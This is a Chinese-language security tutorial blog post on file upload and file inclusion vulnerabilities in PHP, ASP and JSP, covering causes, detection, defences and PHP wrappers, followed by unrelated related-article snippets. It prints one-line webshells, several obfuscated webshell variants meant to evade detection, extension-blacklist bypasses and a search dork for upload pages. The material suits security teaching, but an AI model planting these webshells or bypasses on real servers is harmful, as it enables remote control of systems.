文件上传和文件包含
声明:
本文章只是适用于网络安全教学,请自觉遵守网络安全法,严禁用于非法途径,若读者做出来任何危害网络安全的行为,后果自负,均与本人无关.
文件上传:
大部分的网站和应用系统都有上传的功能,如用户头像上传,图片上传,文档上传等。一些文件上传功能实现代码没有严格限制用户上传的文件后缀名以及文件类型,导致允许攻击者向某个可通过web访问的目录上传任意的php文件,并能够讲这些文件传递给PHP解释器,就可以通过远程服务器上执行任意的PHP脚本。
当系统存在文件上传漏洞的时候,攻击者可以将病毒,木马,webshell,其他恶意脚本或者包含了脚本的图片上传的服务器,这些文件将对攻击者后续攻击提供便利,根据具体漏洞的差异,此处上传的脚本可以是正常后缀的PHP,ASP以及JSP脚本,也可以是篡改后的这几类脚本。
产生的原因:
用户上传文件的时候,没有对其进行严格的过滤,使攻击者可以利用这种情况进行
1.服务器配置错误
2.开源编码器漏洞
3.本地上传限制不严格
4.服务器过滤不严格
文件上传的危害:
- 上传文件时病毒或者木马的时候,主要是用于诱骗用户或者管理员下载执行或者直接自动运行
- 上传文件时webshell的时候,攻击者可以通过这些页面后门执行命令并且控制服务器
- 上传是恶意其他的脚本的时候,攻击者可以直接执行脚本进行攻击
- 上传文件时恶意图片的时候,攻击者可以直接执行脚本进行攻击
- 上传的文件时恶意图片的时候,图片中可能包含了脚本,加载或者点击这些图片时脚本会悄无声息的执行
- 上传文件时伪装成正常后缀的恶意脚本的时候,攻击者可以借助本地文件包含漏洞(Local File Include)执行改文件。例如将bad.php文件改名bad.doc上传到服务器,然后通过PHP的inculde,inclue_once,require,require_once等函数包含执行。
文件上传漏洞判断:
1.看是不是二次渲染,看有没有经过两次
二次渲染:吧上传的文件,生成一个新的文件。
2.猜测验证
3.没有漏洞就看中间件
文件上传漏洞如何去查找:
黑盒(用户角度)
1.扫描工具
2.通过网站给的应用
3.网站后台
白盒(对特定程序内部进行测试)
1.代码分析
文件上传漏洞绕过:
1.绕过黑名单,拒绝扩展名:.asa,asax.asp,aspx,asmx,ashx,exe
2.漏网之鱼:c.cer证书 c.cdx复合索引
3.绕过后缀替换为空 replace(“php”,“”) c.pHp c.phphpp burp:c.php. burp:c.php
4.c.php::$DATA 权限维持:隐藏后门,绕过D盾检测
文件上传功能:
上传头像、上传资源、上传图片、上传附件
常用工具:
中国菜刀、中国蚁剑、冰蝎、weelevy、godzilla
防御方法:
1.白名单判断文件后缀是否合法
2.文件上传的目录设置为不可执行
3.判断文件类型
4.使用随机数改写文件名和文件路径
5.单独设置服务器文件域名
6.使用安全设备防御(WAF、防火墙)
常用的木马植入方式:
1.以文件的形式上传的服务器
上传文件可以利用mysql的into outfile,表单上传等方式
2.以字符串的形式上传到服务器
通过mysql的日志方式,shell的echo方式,命令执行,反序列化。
文件包含:
简单的说就是服务器通过PHP的特性(函数的特性)去包含任意文件的时候,由于对包含的这个文件来源过滤不严,从而可以去包含一个恶意的文件,而我们构造的这个恶意文件来达到"邪恶"的目的,(从而读取服务器的敏感文件等)
是代码注入的一种,注入需要一端用户能控制的脚本或者代码,并且让服务器执行,尝尝出现在一些流行的web开发语言中,如JSP,PHP,ASP 以PHP为例,常见的文件包含函数 include(),include_once(),reqire(),reqire_once,fopen(),readfile()
漏洞原理:
简单地说,就是把多个文件,用各种方法包含在一个文件里。程序开发人员通常会把可是重复使用的反函数写到单个文件中,在使用某些函数的时候,直接调用此文文件,无需再次编写,这种调用文件的过程一般称为文件包含。
allow_url_include:如果开启了这个参数,攻击者可以配合文件上传包含PHP代码的任何文件,通过文件包含漏洞,从而进行恶意文件。
- allow_url_include:是否允许include()和require()函数包含URL(HTTP,HTTPS)作为文件处理。
- allow_url_fopen:参数是否允许url(http,https)作为文件打开处理
前提:
- allow_url_fopen:on
- allow_url_include:on
这两个参数都是on的情况下,文件包含漏洞是成功的。
上面的代码,GET请求参数"page"传给了一个变量filename,包含了这个变量,没有对$_GET['page']的值,包含自己想看文件。(文件路径一定要对,不对的话包含不了。)
文件包含漏洞的成因:
PHP文件包含有以下几种:
- require()
require_once()
require开头的函数如过包含的文件语法有问题,程序就会中断执行。 - include()
include_once()
include开头的函数,如果包含文件语法有问题,程序还会继续执行。
include有返回值,require没有返回值
PHP文件包含类型:
1、可以包含本地文件
相对路径
file=…/…/…/b.php
绝对路径:
file:///c:/Users/20855/destop/
2、可以包含远程文件(必须服务器开启了远程包含的功能)
PHP配置文件:php.ini
allow_url_include=on
文件包含的函数:
HTML5文件包含
能包含CSS: 能包含JS:<script
src=‘xxxxx’xxxxx.js’'>
include():文件包含失败后,报警告错误,后面的代码会执行。
include_once():包含文件时候,先做着一个检测,如果前面的文件以后包含就不再执行。
require():文件包含失败后,报致命错误,后面的代码不会执行。
require_once():包含文件的时候,先做一个检测,如果前面的文件有包含就不再执行。
文件包含漏洞分为两个类型:一个是本地包含一个远程包含。
文件包含漏洞的危害:
1.包含独处目标机器上的其他文件(系统文件等)
2.包含可以运行的PHP木马
3.包含一个创建的PHP文件
4.提权
文件包含的伪协议:(请求协议)
1.php:// 可以获取post原生数据(php://input) 将目标文件的源码进行加密读出(在get请求最后面输入要传入的php命令即可)
2.file:// 浏览器访问本地文件的协议
3.data:// 数据流封装器,传递响应格式的数据,通常可以用来执行PHP代码
4.phar:// 执行文件压缩中的文件
5.zip:// 执行文件压缩中的文件
文件包含绕过:
1.URL编码绕过:当某些执行符号设置为空的时候,可以利用编码或者双写绕过。
2.特殊字符绕过:同上
3.%00截断;当后缀名被给执行的文件类型的时候,可以利用%00截断
4.路径长度截断
文件包含漏洞的利用条件:
1.程序用include()等文件包含通过动态变量的方式引入所要包含的文件
2.用户能够控制该动态变量
3.要保证php.ini中的allow_url_fopen和allow_url_include都为on(远程文件包含)
如何防护文件包含漏洞:
1.使用str_raplace等方式过滤掉危险的字符
2.配置open_basedire,防止目录遍历
3.PHP版本升级,防止%00截断
4.对文件进行重命名,防止被读取
5.对于动态包含的文件可以设置一个白名单,不读取非白名单的文件。
6.做好管理员权限分化,做好文件的权限管理。
常用的请求方法:
1.利用工具在请求头中getshell
文件包含获取原生数据: pup://input
请求头中:<?php@eval($_POST['cmd'];?>
图片马+文件包含漏的功能
通过上传图片马,集合文件包和漏洞上传webshell
php、ASP、ASPX一句话木马
1、PHP
<?php @eval($_POST['cmd']);?>
2、ASP
<%eval request("pass")%>
3、ASPX
<%@ Page Language="jscript"%> <%eval(Request.ltem["pass"],"unsafe");%>
eval函数,是把一串字符串作为PHP代码执行,<?php @eval($_POST['cmd']);?>把cmd换成操作系统命令就可以对系统进行操作。
木马变形:
PHP语法中eval,比如assert函数也可以执行代码
命令执行函数system、passthru、exec、shell_exec等
双变量绕过:
<?php $_POST['a']($_POST['b']);?>
a=assert$ b=phpinfo()
字符串绕过:
<?php
$a=substr_replace(string:"assxxx",replace:"ert",offset:3)
$a=($_POST['cmd']);
?>
subsrt_replace这个函数把字符串的一部分替换为另一个字符串
定义函数绕过:
<?php
functiion test($a){$a($_POST['cmd']);
}
test(a:"assert);
?>
指调用函数的时候,将另一个函数作为参数传递到调用的函数中
功能:使用回调函数,是为了可以将一段自定义的功能传递到函数内部使用
<?
function test($func,$param){reutrn $fun($param);
}
test(func:'assert',$_POST['cmd']);
?><?php call_user_func($)POST['a'],$_POST['b']);?>
call_user_func:PHP内置回调函数
$_POST['a']:传递函数名
$_POST['b']:参数类绕过:
<?php
class test{var $a;var $b;function_ _construct($a,$b){$this-> a = $a;$this-> b = $b;}function demo(){array_map($this->a,$this->b);}
}
$t = new test(a:'assert',array($_POST['cmd']));
$t->demo();
?>
array_map:调用函数
$t->demo();:创建对象后,调用demo函数编码绕过
<?php
$a=base64_decode(($_POST['cmd']));
assert($a);
?>特殊字符干扰绕过:
<?php
$a=("!"^"@")."ssert";
$a=($_POST['cmd']);
?>无字符特征码绕过
<?php
$_=("$"^"{").("~"^".").("/"^"`").("-"^''~").("("^"|");
${$_}['a'](${$_}['b']);
?>
${$_}['a'](${$_}['b']);:等效于$_POST['a']($_POST['b']);
两个字符串进行异或运算时,会转成二进制,完成之后,在换回字符串
常用的绕过方式:
1.JS代码删除即可
2.检查后缀的
搜索文件上传的语法:
搜索登录页面
1、inurl:upload.php
2、搜索PHP CMS(管理平台,管理操作系统)
inurl:index.php?m=member
这种类型的代码叫mime类型,它的作用是客户端与服务器交流时发送的实例数据类型。
[‘type’]=‘image/jpeg’
MIME:多用途互联网邮件扩展类型
MIME常见类型:
text/html:HTML格式
application/json:json数据格式
multipart/form-data:文件上传(二进制数据)
image/jpeg:jpg图片的格式
注释: <! – 内容–>
客户端使用:
1.GET请求不需要这个字段
2.POST请求,放在content type指定上传的文件类型,方便服务器解析,放在accept,告诉服务端允许接受的响应类型,比如只能接受json或者其他
服务端使用:
1、放在响应头里面,告诉客户端响应的数据类型,方便客户解析
等价扩展名:
asp:ashx,asmx,ascx
php:php2、php3、php4、php5、phps、phtml
jsp:jspx、jspf
结语:
一些关于文件上传和文件包含的总结,一个好的攻击手法往往都是上传和包含结合起来使用,当然也要根据实际情况来看,这里只为和各位师傅们交流学习! 希望对各位师傅们有帮助!
相关文章:
文件上传和文件包含
声明: 本文章只是适用于网络安全教学,请自觉遵守网络安全法,严禁用于非法途径,若读者做出来任何危害网络安全的行为,后果自负,均与本人无关. 文件上传: 大部分的网站和应用系统都有上传的功能,如用户头像上传,图片上传,文档上传…...
[Unity Demo]从零开始制作空洞骑士Hollow Knight第十八集补充:制作空洞骑士独有的EventSystem和InputModule
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、制作空洞骑士独有的EventSystem和InputModule总结 前言 hello大家好久没见,之所以隔了这么久才更新并不是因为我又放弃了这个项目,而…...
yelp数据集上试验SVD,SVDPP,PMF,NMF 推荐算法
SVD、SVD、PMF 和 NMF 是几种常见的推荐算法,它们主要用于协同过滤和矩阵分解方法来生成个性化推荐。下面是对每种算法的简要介绍: 1. SVD(Singular Value Decomposition) 用途:SVD 是一种矩阵分解技术,通…...
计算机视觉常用数据集Cityscapes的介绍、下载、转为YOLO格式进行训练
我在寻找Cityscapes数据集的时候花了一番功夫,因为官网下载需要用公司或学校邮箱邮箱注册账号,等待审核通过后才能进行下载数据集。并且一开始我也并不了解Cityscapes的格式和内容是什么样的,现在我弄明白后写下这篇文章,用于记录…...
Flink和Spark在实时计算方面有何异同
Flink和Spark在实时计算方面既有相似之处,也存在显著的差异。以下是对它们之间异同的详细分析: 一、设计理念与世界观 Flink: 专注于流处理,认为批是流的特例。数据流分为有限流(Bounded)和无限流…...
纵然千万数据流逝,唯独vector长存
公主请阅 1.vector的一些方法1vector和stringpush_back 插入以及三种遍历数组的方式一些方法vector中的一些常见的方法1. push_back()2. pop_back()3. size()4. clear()5. empty()6. resize()7. insert()8. erase()9. at()10. front和 back()11. data()12. capacity()13. shrin…...
【LeetCode】【算法】739. 每日温度
LeetCode 739. 每日温度 题目描述 给定一个整数数组 temperatures ,表示每天的温度,返回一个数组 answer ,其中 answer[i] 是指对于第 i 天,下一个更高温度出现在几天后。如果气温在这之后都不会升高,请在该位置用 0…...
2025年知识管理新方案:十款前沿知识库搭建工具详解
随着企业信息化和智能化的发展,知识管理已成为提升企业竞争力的关键要素。一个高效的知识库不仅能促进内部沟通,还能展示企业的专业形象。以下是2025年十款前沿知识库搭建工具的详解。 1. HelpLook AI知识库 HelpLook AI知识库是一款专注于为企业提供高…...
WebSocket实现消息实时推送
文章目录 websocket介绍特点工作原理 用websocket实现实时推送引入依赖WebSocket 函数定义变量声明初始化 WebSocket 连接WebSocket 连接的初始化和事件处理连接打开事件接收消息处理连接关闭和重连机制心跳机制使用 WebSocket代码完整显示 websocket介绍 WebSocket 是一种网络…...
flink 内存配置(三):设置JobManager内存
flink 内存配置(一):设置Flink进程内存 flink 内存配置(二):设置TaskManager内存 flink 内存配置(三):设置JobManager内存 flink 内存配置(四)…...
蓝桥杯 Python组-神奇闹钟(datetime库)
神奇闹钟 传送门: 0神奇闹钟 - 蓝桥云课 问题描述 小蓝发现了一个神奇的闹钟,从纪元时间(1970 年 11 日 00:00:00)开始,每经过 x 分钟,这个闹钟便会触发一次闹铃 (…...
解决阿里云三个月证书过期 免费SSL证书部署教程
相信有上线过自己的网站、小程序经验的同学深有体会,给服务加上 SSL 证书还挺麻烦的,尤其是没有运维经验的同学。本来最省事的方法是买个证书,但是一看价格,还是算了吧,动辄就是几万块一年。作为个人来说,这…...
VBA03-变量
一、什么是变量 变量是一个自定义名称的储存单位,变量是一个载体。 二、代码调试 在代码逐句运行的过程中查看变量的存储内容。 2-1、示例1 2-2、示例 三、变量的数据类型 若是定义的数据类型的变量,存储了超出了她范围的数,则会报溢出。 注…...
docker-ce-stable‘ 下载元数据失败 : Cannot download repomd.xml: Cannot download
看起来你在尝试安装 containerd.io-1.6.32 时遇到了问题,因为 docker-ce-stable 仓库的元数据下载失败。以下是一些可能的解决方案: 1. 检查仓库配置 确保你的 /etc/yum.repos.d/ 目录下的 docker-ce.repo 文件配置正确。你可以尝试手动编辑该文件&…...
C中定义字符串有下列几种形式
字符串常量,char数组,char指针之间的差异 1、字符串常量: 位于一对双括号中的任何字符。双引号里的字符加上编译器自动提供的结束标志\0字符,作为一个字符串存储在内存中。 例如: printf("%s","hello"); /…...
写一个小日历
以下是一个示例,展示了如何创建一个基本的日历 日历 1. HTML 结构 首先,创建一个基本的 HTML 结构,用于展示日历。 <!DOCTYPE html> <html lang"zh"> <head><meta charset"UTF-8"><meta na…...
【数据库】elasticsearch
1、架构 es会为每个索引创建一定数量的主分片和副本分片。 分片(Shard): 将索引数据分割成多个部分,每个部分都是一个独立的索引。 主要目的是实现数据的分布式存储和并行处理,从而提高系统的扩展性和性能。 在创建索…...
Rust 构建 TCP/UDP 网络服务
第四章 异步编程与网络通信 第二节 构建 TCP/UDP 网络服务 在现代应用程序中,网络通信是核心功能之一。本节将重点介绍如何在 Rust 中构建基本的 TCP 和 UDP 网络服务,涵盖实际的代码示例、最佳实践以及最新的技术方案,以帮助开发者掌握网络…...
docker镜像文件导出导入
1. 导出容器(包含内部服务)为镜像文件(docker commit方法) 原理:docker commit命令允许你将一个容器的当前状态保存为一个新的镜像。这个新镜像将包含容器内所有的文件系统更改,包括安装的软件、配置文件等…...
ViT面试知识点
文章目录 VITCLIPBlipSAMLSegFast TransformerYOLO系列问题 BatchNorm是对一个batch-size样本内的每个特征做归一化,LayerNorm是对每个样本的所有特征做归一化。 Layer Normalization(层归一化,简称LayerNorm)是一种在深度学习中…...
在HarmonyOS ArkTS ArkUI-X 5.0及以上版本中,手势开发全攻略:
在 HarmonyOS 应用开发中,手势交互是连接用户与设备的核心纽带。ArkTS 框架提供了丰富的手势处理能力,既支持点击、长按、拖拽等基础单一手势的精细控制,也能通过多种绑定策略解决父子组件的手势竞争问题。本文将结合官方开发文档,…...
基于uniapp+WebSocket实现聊天对话、消息监听、消息推送、聊天室等功能,多端兼容
基于 UniApp + WebSocket实现多端兼容的实时通讯系统,涵盖WebSocket连接建立、消息收发机制、多端兼容性配置、消息实时监听等功能,适配微信小程序、H5、Android、iOS等终端 目录 技术选型分析WebSocket协议优势UniApp跨平台特性WebSocket 基础实现连接管理消息收发连接…...
c++ 面试题(1)-----深度优先搜索(DFS)实现
操作系统:ubuntu22.04 IDE:Visual Studio Code 编程语言:C11 题目描述 地上有一个 m 行 n 列的方格,从坐标 [0,0] 起始。一个机器人可以从某一格移动到上下左右四个格子,但不能进入行坐标和列坐标的数位之和大于 k 的格子。 例…...
高危文件识别的常用算法:原理、应用与企业场景
高危文件识别的常用算法:原理、应用与企业场景 高危文件识别旨在检测可能导致安全威胁的文件,如包含恶意代码、敏感数据或欺诈内容的文档,在企业协同办公环境中(如Teams、Google Workspace)尤为重要。结合大模型技术&…...
Spring Boot+Neo4j知识图谱实战:3步搭建智能关系网络!
一、引言 在数据驱动的背景下,知识图谱凭借其高效的信息组织能力,正逐步成为各行业应用的关键技术。本文聚焦 Spring Boot与Neo4j图数据库的技术结合,探讨知识图谱开发的实现细节,帮助读者掌握该技术栈在实际项目中的落地方法。 …...
用机器学习破解新能源领域的“弃风”难题
音乐发烧友深有体会,玩音乐的本质就是玩电网。火电声音偏暖,水电偏冷,风电偏空旷。至于太阳能发的电,则略显朦胧和单薄。 不知你是否有感觉,近两年家里的音响声音越来越冷,听起来越来越单薄? —…...
Python基于历史模拟方法实现投资组合风险管理的VaR与ES模型项目实战
说明:这是一个机器学习实战项目(附带数据代码文档),如需数据代码文档可以直接到文章最后关注获取。 1.项目背景 在金融市场日益复杂和波动加剧的背景下,风险管理成为金融机构和个人投资者关注的核心议题之一。VaR&…...
C++--string的模拟实现
一,引言 string的模拟实现是只对string对象中给的主要功能经行模拟实现,其目的是加强对string的底层了解,以便于在以后的学习或者工作中更加熟练的使用string。本文中的代码仅供参考并不唯一。 二,默认成员函数 string主要有三个成员变量,…...
React父子组件通信:Props怎么用?如何从父组件向子组件传递数据?
系列回顾: 在上一篇《React核心概念:State是什么?》中,我们学习了如何使用useState让一个组件拥有自己的内部数据(State),并通过一个计数器案例,实现了组件的自我更新。这很棒&#…...
深入浅出JavaScript中的ArrayBuffer:二进制数据的“瑞士军刀”
深入浅出JavaScript中的ArrayBuffer:二进制数据的“瑞士军刀” 在JavaScript中,我们经常需要处理文本、数组、对象等数据类型。但当我们需要处理文件上传、图像处理、网络通信等场景时,单纯依赖字符串或数组就显得力不从心了。这时ÿ…...
